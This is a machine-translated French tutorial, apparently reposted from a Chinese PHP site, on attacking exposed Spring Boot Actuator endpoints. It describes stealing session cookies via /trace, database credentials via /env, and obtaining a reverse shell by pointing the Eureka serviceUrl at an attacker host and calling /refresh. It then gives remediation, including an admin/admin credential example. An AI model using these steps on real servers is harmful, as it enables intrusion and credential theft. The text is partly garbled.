Avant-propos
Le chef de département a creusé cette vulnérabilité dans une certaine src C'est un vieux trou qui m'a semblé intéressant, j'ai donc mis en place un environnement local pour la tester.
Actuator est un module fonctionnel fourni par Springboot pour l'introspection et la surveillance des systèmes d'application. Avec l'aide d'Actuator, les développeurs peuvent facilement visualiser et collecter des statistiques sur certains indicateurs de surveillance du système d'application. Lorsque l'actionneur est activé, si les autorisations pertinentes ne sont pas contrôlées, les utilisateurs illégaux peuvent obtenir des informations de surveillance dans le système d'application en accédant aux points de terminaison de l'actionneur par défaut, entraînant une fuite d'informations ou même une prise de contrôle du serveur.
Actuator est un module fonctionnel fourni par Spring Boot, qui peut être utilisé pour l'introspection et la surveillance des systèmes d'application. Les points de terminaison d'exécuteur fournis sont divisés en deux catégories : les points de terminaison natifs et les points de terminaison d'extension définis par l'utilisateur, recherchent les interfaces non autorisées

Utilisez la trace pour obtenir des informations d'authentification (Cookie, Tooken, Session) et utilisez les informations d'authentification pour y accéder. l'interface.
env peut divulguer le mot de passe du compte de base de données (mangodb). Bien sûr, le réseau externe doit être ouvert, la possibilité est donc faible.
Les étrangers disent que les instructions SQL peuvent être exécutées, mais je ne le comprends pas pour le moment
Découverte de vulnérabilités
Il est généralement reconnu que le framework utilisé par l'application Web actuelle est le springboot cadre. Il existe deux manières principales de juger : -
via l'icône de l'étiquette de la page Web de l'application Web (favicon.ico) ; si le développeur de l'application Web n'a pas modifié l'icône par défaut de l'application Web Springboot, alors vous pouvez voir le icône par défaut suivante après avoir accédé à la page d'accueil de l'application Petite icône verte :
Page d'erreur par défaut via le framework Springboot si le développeur de l'application Web ne modifie pas la page d'erreur 4xx, 5xx par défaut de l'application Web Springboot ; , puis lorsque l'application Web apparaîtra des erreurs 4xx, 5xx , l'erreur suivante sera signalée (ici nous ne prenons que la page d'erreur 404 comme exemple) : accéder à un chemin construit aléatoirement, tel que : http://172.26.2.24:8090 /index, et la page d'erreur suivante apparaît, indiquant que le site Web utilise le framework Springboot (en réalité, c'est le cas dans la plupart des cas).
Sur la base des deux façons ci-dessus de déterminer si l'application Web actuelle est un framework Springboot, il s'agit d'accéder à différents répertoires pour voir s'il y a une petite icône de feuille verte, puis de trouver un moyen de déclencher le 4xx de l'application dans différents répertoires ou une erreur 5xx, voyez s'il y a une erreur de page d'erreur en marque blanche.
Exploiter
Visitez le point de terminaison /trace pour obtenir des informations de suivi de requête HTTP de base (horodatage, en-tête HTTP, etc.). S'il y a une demande d'opération d'un utilisateur connecté, vous pouvez falsifier des cookies pour vous connecter.
Accédez au point de terminaison /env pour obtenir tous les attributs de l'environnement. Étant donné que l'actionneur surveillera les services de base de données tels que mysql et mangodb sur le site, les informations de base de données mysql et mangodb peuvent parfois être obtenues via les informations de surveillance si la base de données se produit. pour être ouvert sur le réseau public, cela causera Le mal est énorme,

Une mauvaise configuration du point de terminaison /env provoque RCE,
Prérequis : Eureka-Client <1.8.7 (principalement vu dans Spring Cloud Netflix )
Par exemple, le frontend de test json signale une erreur et divulgue le nom du package. Utilisez simplement netflix

Vous avez besoin des deux packages suivants
spring-boot-starter-actuator (requis pour la configuration d'actualisation /refresh)
spring-cloud-starter-netflix-eureka-client (dépendance fonctionnelle)
Utilisez python3 Pour démarrer le script, vous devez faire attention à deux endroits, l'un est l'adresse IP et le port de réception du shell, et l'autre est le port pour que notre script démarre.

Nc écoute un port pour recevoir le shell de rebond,
écrit la configuration, accède au point de terminaison /env, capture le paquet et modifie la requête get en requête de publication. . Le contenu du message est (l'ip est l'ip de la machine démarrée par le script) :
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Ensuite, visitez /refresh, récupérez le package modifie la requête get en requête de publication, et les données de publication sont arbitraires,

Ensuite, dans notre fenêtre nc, vous pouvez voir qu'un shell a réussi a rebondi.

Réparation de vulnérabilité
En tant que chien de sécurité, vous ne pouvez pas simplement creuser sans réparer, dans le pom du projet Introduisez la dépendance spring-boot-starter-security sous le fichier .xml
<dependency>
<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency></h3>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator从未授权访问到getshell的示例分析"></p>
<p> Ensuite, activez la fonction de sécurité dans application.properties, configurez le accédez au mot de passe du compte et redémarrez. L'application apparaîtra. </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin
Copier après la connexion


Pour désactiver l'interface, vous pouvez la définir comme suit (par exemple en désactivant l'environnement interface) : #🎜🎜 #
endpoints.env.enabled= false
Question
Les étrangers ont déclaré qu'ils pouvaient exécuter des instructions SQL, mais ont découvert que ils ne peuvent pas être exécutés. Peut-être que la méthode est inutile. Coupez-la. J'ai fait une photo de lui et j'espère que quelqu'un qui l'a mise en œuvre avec succès pourra la partager.

Dans l'environnement actuel, on constate qu'il n'y a pas beaucoup d'actualisations, ce qui entraîne l'impossibilité d'exécuter la commande. Il n'y a pas encore de percée#. 🎜🎜#
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!